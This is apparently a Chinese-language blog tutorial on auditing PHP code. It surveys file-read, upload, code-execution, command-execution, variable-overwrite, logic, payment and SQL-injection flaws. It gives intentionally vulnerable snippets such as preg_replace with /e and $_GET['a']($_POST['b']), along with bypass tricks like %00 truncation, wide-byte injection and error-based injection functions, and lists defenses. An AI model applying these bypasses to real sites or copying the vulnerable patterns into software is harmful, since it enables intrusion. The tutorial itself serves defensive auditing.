除了常用函数外,还有 php://filter可以用来读取文件,通常在文件名可控的情况下可以利用文件读取漏洞进行代码读取。

对于文件名前面加了一些指定字符的情况可以使用../将前面的字符当成目录来绕过这些字符,达到读取文件的目的

文件上传漏洞

上传函数只有一个: move_uploaded_file(),盯住这个函数就可以发现是否存在文件上传漏洞了。

若采用黑名单机制则可能存在问题,大部分黑名单机制都可以被饶过。

  • 未过滤或本地过滤,没有在服务器那边进行过滤
  • 黑名单拓展名过滤 (可能存在漏网之鱼),利用空格或者%00截断都有可能过掉
文件头content-type饶过

这种方式较为早期只需要在文件头加入GIF89a上传即可通过,这是由于早期使用getimagesize()函数来判断文件类型

文件删除漏洞

常见的漏洞函数为unlink,还可以利用session_destroy函数删除任意文件,该漏洞较老。

文件操作漏洞

文件操作漏洞的共同点如下:

  • 由越权操作引起的可操作未授权文件
  • 要操作更多文件需要跳转目录
  • 大多文件操作漏洞都是直接传入文件名

防御手段:

  • 权限控制
  • 文件名随机
  • 检测 .. ../等关键目录跳转字符

文件上传漏洞防御

  • 1.白名单过滤拓展名,使用in_array函数时使用===来判断拓展名。
  • 2.保存文件时重命名文件,采用md5(时间戳+随机数)等方式

代码执行漏洞

代码执行漏洞其实类似于SQL注入漏洞,都是对参数过滤不严格导致的。

该漏洞主要由eval,assert,preg_replace,call_user_func,call_user_func_array,array_map等函数导致。

另外,PHP的动态函数$a($b)也是造成该漏洞的原因之一

preg_replace 需要 /e参数配合

1
2
3
4
<?php
preg_replace("/\[(.*)\]/e",'\\1',$_GET["str"]);
?>
请求 /1.php?str=[phpinfo()] 即可

正则的意思是从$_GET[‘str’]变量里搜索中的括号[]中间的内容作为第一组结果

第二个参数’\\1’表示这里用第一组结果来填充内容,这里是可以直接执行代码的

$_GET($_POST[“xx”]); 这种可以利用get参数来执行代码

PHP函数调用

call_user_func()
call_user_func_array()
array_map()
usort()
uasort()
uksort()
array_filter()
array_reduce()
array_diff_uassoc()
array_diff_ukey()
array_udiff()
array_…..
xml_set_……


动态函数调用
1
2
3
<?php
$_GET['a']($_POST['b']);
?>

挖掘这种漏洞,需要找到可控的动态函数名

命令执行漏洞

代码执行漏洞指的是php代码,即web权限,命令执行漏洞则是可以直接调用系统函数,常见函数:

system() ,exec() , shell_exec() , passthru(),pcntl_exec(),popen(),proc_open()

php执行命令的全向同样也是web权限,但一般都存在写权限,可以对web目录进行写操作,拿到webshell

漏洞挖掘:扫描函数

反引号执行漏洞
1
2
3
<?php
echo `whoami`;
?>

反引号实际执行的是shell_exec

命令防注入函数

与sql注入类似,命令注入也有相同的过滤函数

escapeshellcmd(),escapeshellarg()

过滤字符为 &;`|*?~<?>()[]$\ \x0A \xff % 还有’ “ 尽在不成对时被打印

漏洞挖掘与防范

变量覆盖漏洞

变量覆盖漏洞可以做到替换原有变量值,如在做文件上传白名单过滤时,替换掉存放白名单的变量,即可进行绕过

由函数导致的变量覆盖漏洞较好挖掘,只需要搜寻参数带有变量extract、parse_str等函数,然后去追溯参数是否可控即可

extract还受到其第二个参数的影响

import_request_variables函数相当于开了全局变量注册,这时候只要找到哪些变量没有初始化并操作之前没有赋值的。

就可以提交这个变量作为参数,另外,写在该函数之前的变量,也都会被该函数覆盖

在php4.0-4.1.0 和 php5-5.4.0 都可用

如 双 $$ 容易引发变量覆盖漏洞

import_request_variables函数时将GET,POST,COOKIE的参数注册成变量,用在register_globals被禁用的时候,需要php4.1至5.4之间的版本,不过建议是不使用该功能,因为该功能容易导致变量覆盖。

漏洞防范:

  • 使用原始变量
  • 验证变量是否存在

逻辑处理漏洞

大多数由于程序的逻辑失误导致的漏洞都可以叫逻辑漏洞,这里指的是业务逻辑漏洞

挖掘技巧:
通读代码,熟悉业务流程,关注点在可否重复安装,修改密码处可否越权修改其他用户密码,找回密码验证码是否可以暴力破解,以及修改其他用户密码,cookie是否可预测或者说cookie验证可否绕过。

等于存在判断绕过
  1. in_array函数

in_array函数比较之前会进行自动类型转换,如果我们请求1’ union select …即可绕过检测(1,2,3,4)这样的数组

  1. is_numeric函数
    3.
    可以使用十六进制绕过,而mysql则可以使用十六进制编码来进行注入。
账户体系中的越权漏洞

越权分为水平越权和垂直越权,水平越权是指相同等级权限的用户,可以互相看到彼此的信息。

垂直越权指的是在不同权限等级的用户,访问了上级权限才有资格访问的内容。

未exit或return引发的安全问题

如安装页面的代码:

1
2
3
4
5
6
<?php
if (file_exists('install.lock')){
header("Location: ../")
}
echo 123;
进入安装流程

echo 123实际上被执行了。。。即使前面的代码被执行了之后。

常见支付漏洞

如 单价 数量 和总价,无论哪个数值都会影响到最终的成交价格,但可能由于代码中没有验证这2个数字是否小于0,将数字改为负数之后提交可能会有意想不到的漏洞。

还有一种重复发包利用时间差,如QQ刷钻,同样的原理,利用手机快速给腾讯发送一条开通QQ业务的短信,发送后快速发送一条取消业务的短信到短信运营商,真正的漏洞出现在短信运营商而不是腾讯,很多IDC开通VPS等业务的系统也存在这种漏洞

还存在一种情况,就是某业务代码需要花费一定时间,在这段时间内重复提交业务代码,导致最终的计算在你已经完成了某功能之后,出余额为负数的情况。

会话认证漏洞

会话认证漏洞包含 cookie session sso oauth openid等,出现问题较多的出现在cookie上面,cookie是web服务器返回给客户端的一段常用来表示用户身份或者认证情况的字符串,保存在客户端,浏览器下次请求时会自动带上这个标识,由于这个标识可以被用户修改,所以存在安全风险

cookie 容易导致注入漏洞

二次漏洞审计

二次漏洞就有点存储型XSS的味道了,写入payload后,能不能利用还得看输出的时候有没有对漏洞进行过滤。

首先要构造好利用代码,写入网站保存,举个例子就是在评论区进行输入提交payload后数据存储到数据库

而输出时直接将数据取出,若查询语句进行操作的时候未对数据进行检测,则将会实现二次注入

代码审计小技巧

GPC等转义绕过

GPC并不是把所有敏感字符的都转义了,其中对于$_SERVER变量没有进行转义,在PHP5之后$_SERVER的header字段,不受GPC影响。

在header里面最常用的注入就是user-agent,referer, 以及client-ip/x-forward-for

因为大多数web应用都会记录访问者IP以及referer等信息

铜套 $_FILES变量

编码转换问题

宽字节注入就是一个典型的编码转换问题 利用%df吸收转义的\ 然后 单引号就又可以用了

实际上,只要发生编码转换就会出现这个问题,php自带的mb_convert_encoding()也存在编码转换问题

字符串处理利用

字符串处理函数报错信息泄露

需要页面报错提示,则必须要php中打开 disaplay_errors = on,或者在代码中加入 error_reporting函数

error_reporting函数有几个选项来配置显示错误的等级 如 E_WARNING 、 E_ALL等

大多数程序会使用trim去掉字符两边空格,此时我们传入的用户名参数传入数组就会报错,爆出网站路径等

类似的函数还有很多:

字符串截断

%00空字符截断

%00或者null会被GPC和addslashes过滤掉,并在5.3版本之后,php修复了%00截断的问题

iconv函数截断

iconv用来做字符编码转换,当遇到不能处理的字符时则会不处理

从char 128 - 255 都可以用来截断字符

php://输入输出流

使用较多的是 php://input php://output php://filter

php://input可以得到POST未解析的原始数据,但不能接收到 multipart/form-data 数据

php://output 是只写数据流,作用同上,但一个是写,一个是读

php://filter 是文件操作协议,对磁盘文件进行读写操作,效果类似于readfile 和file 和file_get_contents,有多个参数可以操作

resource= 要过滤的流,该参数必须指定
read = 可以设置一个或多个过滤器的名称
write = 写文件

PHP代码解析标签

1.脚本标签

2.短标签
<? … ?>

3.asp标签,需要配置asp_tags=on
<% %>

fuzz 漏洞发现

fuzz 是指对漏洞进行模糊测试,测试中常用这种方式发现漏洞

不严谨的正则表达式

1.没有使用^ 和 $匹配开始位置
2.特殊字符未转义,若.本身代表的是任意字符

十余种mysql报错注入

利用数据库报错来显示数据注入方式经常会在入侵时被利用到,这种方式局限在于必须拥有回显

MS SQL SERVER 利用 convert 和 cast 函数进行报错回显

mysql的sql报错注入回显方式就更多了 常用的3中 floor 、 updatexml、extractvalue,还有下面这些函数也可以用于报错回显

GenmetryCollection、polygon、GITD_SUBSET、mutipoint、multlinestring、multpolygon、LINESTRING、exp

这些方法并不是所有版本通用,老版本可能不支持

Windows Find First File

在文件上传被改为随机文件名的情况,若123456asdasdkjhaskjdh.txt,利用 该功能,可以在 /1.php?file=12<<

这样他就会自动补全到完整文件名

PHP 可变变量

1
2
3
4
$ a = 'anscen';
$$a='123'
echo $anscen
将会输出123

可变变量代码执行漏洞

由双引号引起的代码执行漏洞

1
2
$a = "{@phpinfo()}";
其中@ 可以更换为空格 TAB /**/ 回车 + - ! 除此之外 ~ \ 也行

PHP 安全规范

参数安全过滤

使用第三方过滤函数与类

80sec曾经提供过一个sql注入的过滤类,国内大大小小的CMS网站也都使用过

SQL 过滤

addslashes , mysql_real_escape_string ,mysql_escape_string

XSS过滤

对网页输入进行转码,转成网页编码,再对 <> script等进行过滤

命令执行过滤

特殊符号0x0a等,进行过滤

 上一篇